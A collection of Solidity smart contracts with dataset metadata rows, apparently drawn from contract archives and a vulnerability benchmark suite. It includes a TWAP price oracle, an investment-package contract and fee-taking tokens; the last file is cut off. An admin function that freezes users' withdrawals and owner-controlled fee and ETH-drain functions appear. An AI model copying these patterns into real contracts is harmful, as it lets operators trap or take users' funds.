_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function setTreasuryWallet(address payable _w1) external {
require(_msgSender() == w1);
w1 = _w1;
_isExcludedFromFee[w1] = true;
}
function setCCCWallet(address payable _w2) external {
require(_msgSender() == w2);
w2 = _w2;
_isExcludedFromFee[w2] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == w1);
require(team <= 25);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == w1);
require(tax <= 25);
_taxFee = tax;
}
function manualswap() external {
require(_msgSender() == w1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == w1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
| 80,756 | 10,324 |
072098bc60ce815ea042aa355b8c00f2f345b2d3d285b1b0a7186947d1361baa
| 25,492 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/0a/0A39A4603253E03317D0F7c94e35f92C019eDfCB_Oracle.sol
| 4,736 | 16,798 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 324,519 | 10,325 |
afcf0e8afae2f440cac9cec8db7290790eca2dac2736bd61cabed5348370dd06
| 10,781 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x68980c9cb81f4a30fe878eaea7dec0331bfc7814.sol
| 3,022 | 10,592 |
pragma solidity 0.4.25;
contract IERC20 {
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Auth {
address internal backupAdmin;
address internal mainAdmin;
address internal contractAdmin;
address internal dabAdmin;
address internal gemAdmin;
address internal LAdmin;
constructor(address _backupAdmin,
address _mainAdmin,
address _contractAdmin,
address _dabAdmin,
address _gemAdmin,
address _LAdmin)
internal
{
backupAdmin = _backupAdmin;
mainAdmin = _mainAdmin;
contractAdmin = _contractAdmin;
dabAdmin = _dabAdmin;
gemAdmin = _gemAdmin;
LAdmin = _LAdmin;
}
modifier onlyBackupAdmin() {
require(isBackupAdmin(), "onlyBackupAdmin");
_;
}
modifier onlyMainAdmin() {
require(isMainAdmin(), "onlyMainAdmin");
_;
}
modifier onlyBackupOrMainAdmin() {
require(isMainAdmin() || isBackupAdmin(), "onlyBackupOrMainAdmin");
_;
}
modifier onlyContractAdmin() {
require(isContractAdmin() || isMainAdmin(), "onlyContractAdmin");
_;
}
modifier onlyLAdmin() {
require(isLAdmin() || isMainAdmin(), "onlyLAdmin");
_;
}
modifier onlyDABAdmin() {
require(isDABAdmin() || isMainAdmin(), "onlyDABAdmin");
_;
}
modifier onlyGEMAdmin() {
require(isGEMAdmin() || isMainAdmin(), "onlyGEMAdmin");
_;
}
function isBackupAdmin() public view returns (bool) {
return msg.sender == backupAdmin;
}
function isMainAdmin() public view returns (bool) {
return msg.sender == mainAdmin;
}
function isContractAdmin() public view returns (bool) {
return msg.sender == contractAdmin;
}
function isLAdmin() public view returns (bool) {
return msg.sender == LAdmin;
}
function isDABAdmin() public view returns (bool) {
return msg.sender == dabAdmin;
}
function isGEMAdmin() public view returns (bool) {
return msg.sender == gemAdmin;
}
}
interface IContractNo2 {
function adminCommission(uint _amount) external;
function deposit(address _user,
uint8 _type,
uint packageAmount,
uint _dabAmount,
uint _gemAmount) external;
function getProfit(address _user, uint _stakingBalance) external returns (uint, uint);
function getWithdraw(address _user, uint _stakingBalance, uint8 _type) external returns (uint, uint);
function validateJoinPackage(address _user,
address _to,
uint8 _type,
uint _dabAmount,
uint _gemAmount) external returns (bool);
}
interface IContractNo3 {
function isCitizen(address _user) view external returns (bool);
function register(address _user, string _userName, address _inviter) external returns (uint);
function addF1M9DepositedToInviter(address _invitee, uint _amount) external;
function checkInvestorsInTheSameReferralTree(address _inviter, address _invitee) external view returns (bool);
function increaseInviterF1HaveJoinedPackage(address _invitee) external;
function increaseInviterF1HaveJoinedM9Package(address _invitee) external;
function addNetworkDepositedToInviter(address _inviter, uint _dabAmount, uint _gemAmount) external;
function getF1M9Deposited(address _investor) external view returns (uint);
function getDirectlyInviteeHaveJoinedM9Package(address _investor) external view returns (address[]);
function getRank(address _investor) external view returns (uint8);
function getInviter(address _investor) external view returns (address);
function showInvestorInfo(address _investorAddress) external view returns (uint, string memory, address, address[], address[], address[], uint, uint, uint, uint, uint);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath mul error');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, 'SafeMath div error');
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'SafeMath sub error');
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath add error');
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, 'SafeMath mod error');
return a % b;
}
}
contract ContractNo1 is Auth {
using SafeMath for uint;
enum PackageType {
M0,
M3,
M6,
M9,
M12,
M15,
M18
}
enum WithdrawType {
Half,
Full
}
mapping(address => bool) public lAS;
IERC20 public dabToken = IERC20(0x5E7Ebea68ab05198F771d77a875480314f1d0aae);
IContractNo2 public contractNo2;
IContractNo3 public contractNo3;
uint public minJP = 5e18;
uint8 public gemJPPercent = 30;
event Registered(uint id, string userName, address userAddress, address inviter);
event PackageJoined(address indexed from, address indexed to, PackageType packageType, uint dabAmount, uint gemAmount);
event Profited(address indexed user, uint dabAmount, uint gemAmount);
event Withdrew(address indexed user, uint dabAmount, uint gemAmount);
constructor(address _backupAdmin,
address _mainAdmin,
address _dabAdmin,
address _LAdmin)
public
Auth(_backupAdmin,
_mainAdmin,
msg.sender,
_dabAdmin,
address(0x0),
_LAdmin) {
}
function setC(address _c) onlyContractAdmin public {
contractNo3 = IContractNo3(_c);
}
function setW(address _w) onlyContractAdmin public {
contractNo2 = IContractNo2(_w);
}
function updateBackupAdmin(address _newBackupAdmin) onlyBackupAdmin public {
require(_newBackupAdmin != address(0x0), 'Invalid address');
backupAdmin = _newBackupAdmin;
}
function updateMainAdmin(address _newMainAdmin) onlyBackupOrMainAdmin public {
require(_newMainAdmin != address(0x0), 'Invalid address');
mainAdmin = _newMainAdmin;
}
function updateContractAdmin(address _newContractAdmin) onlyMainAdmin public {
require(_newContractAdmin != address(0x0), 'Invalid address');
contractAdmin = _newContractAdmin;
}
function updateDABAdmin(address _newDABAdmin) onlyMainAdmin public {
require(_newDABAdmin != address(0x0), 'Invalid address');
dabAdmin = _newDABAdmin;
}
function updateLockerAdmin(address _newLockerAdmin) onlyMainAdmin public {
require(_newLockerAdmin != address(0x0), 'Invalid address');
LAdmin = _newLockerAdmin;
}
function LA(address[] _values, bool _locked) onlyLAdmin public {
require(_values.length > 0, 'Values cannot be empty');
require(_values.length <= 256, 'Maximum is 256');
for (uint8 i = 0; i < _values.length; i++) {
require(_values[i] != msg.sender, 'Yourself!!!');
lAS[_values[i]] = _locked;
}
}
function setMinJP(uint _minJP) onlyMainAdmin public {
require(_minJP > 0, 'Must be > 0');
minJP = _minJP;
}
function setGemJP(uint8 _gemJPPercent) onlyMainAdmin public {
require(0 < _gemJPPercent && _gemJPPercent < 101, 'Must be 1 - 100');
gemJPPercent = _gemJPPercent;
}
function register(string memory _userName, address _inviter) public {
require(contractNo3.isCitizen(_inviter), 'Inviter did not registered');
require(_inviter != msg.sender, 'Cannot referral yourself');
uint id = contractNo3.register(msg.sender, _userName, _inviter);
emit Registered(id, _userName, msg.sender, _inviter);
}
function showMe() public view returns (uint, string memory, address, address[], address[], address[], uint, uint, uint, uint, uint) {
return contractNo3.showInvestorInfo(msg.sender);
}
function joinPackage(address _to, PackageType _type, uint _dabAmount, uint _gemAmount) public {
uint packageAmount = _dabAmount.add(_gemAmount);
validateJoinPackage(msg.sender, _to, _type, _dabAmount, _gemAmount);
require(packageAmount >= minJP, 'Package amount must be greater min');
require(dabToken.allowance(msg.sender, address(this)) >= _dabAmount, 'Please call approve() first');
require(dabToken.balanceOf(msg.sender) >= _dabAmount, 'You have not enough funds');
if (_gemAmount > 0) {
uint8 gemPercent = uint8(_gemAmount.mul(100).div(packageAmount));
require(gemPercent <= gemJPPercent, 'Too much GEM');
contractNo2.adminCommission(_gemAmount.div(5));
}
require(dabToken.transferFrom(msg.sender, address(this), _dabAmount), 'Transfer token to contract failed');
contractNo2.deposit(_to, uint8(_type), packageAmount, _dabAmount, _gemAmount);
require(dabToken.transfer(dabAdmin, _dabAmount.div(5)), 'Transfer token to admin failed');
emit PackageJoined(msg.sender, _to, _type, _dabAmount, _gemAmount);
}
function profit() public {
require(!lAS[msg.sender], 'You can\'t do this now');
uint dabProfit;
uint gemProfit;
(dabProfit, gemProfit) = contractNo2.getProfit(msg.sender, dabToken.balanceOf(address(this)));
require(dabToken.transfer(msg.sender, dabProfit), 'Transfer profit to user failed');
emit Profited(msg.sender, dabProfit, gemProfit);
}
function withdraw(WithdrawType _type) public {
require(!lAS[msg.sender], 'You can\'t do this now');
uint dabWithdrawable;
uint gemWithdrawable;
(dabWithdrawable, gemWithdrawable) = contractNo2.getWithdraw(msg.sender, dabToken.balanceOf(address(this)), uint8(_type));
require(dabToken.transfer(msg.sender, dabWithdrawable), 'Transfer token to user failed');
emit Withdrew(msg.sender, dabWithdrawable, gemWithdrawable);
}
function validateJoinPackage(address _from, address _to, PackageType _type, uint _dabAmount, uint _gemAmount) private {
require(contractNo3.isCitizen(_from), 'Please register first');
require(contractNo3.isCitizen(_to), 'You can only active an exists member');
if (_from != _to) {
require(contractNo3.checkInvestorsInTheSameReferralTree(_from, _to), 'This user isn\'t in your referral tree');
}
require(contractNo2.validateJoinPackage(_from, _to, uint8(_type), _dabAmount, _gemAmount), 'Type or amount is invalid');
}
}
| 164,352 | 10,326 |
53125aeb2666d2194fea678330773e197c7ec32867446218397e4c98e65a5f1d
| 15,527 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/76/76a601f519c6948d23c5e98f6656cfe75d41bc7a_Kapital.sol
| 4,145 | 14,838 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoeRouter02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kapital is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1500000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Kapital";
string private constant _symbol = unicode"KAP";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private w1;
address payable private w2;
IJoeRouter02 private joeV2Router;
address private joeV2Pair;
bool private tradingEnabled = false;
bool private canSwap = true;
bool private inSwap = false;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable treasuryWalletAddress , address payable KAPWalletAddress) {
w1 = treasuryWalletAddress;
w2 = KAPWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[w1] = true;
_isExcludedFromFee[w2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IJoeRouter02 _uniswapV2Router = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
joeV2Router = _uniswapV2Router;
_approve(address(this), address(joeV2Router), _tTotal);
joeV2Pair = IJoeFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WAVAX());
IERC20(joeV2Pair).approve(address(joeV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
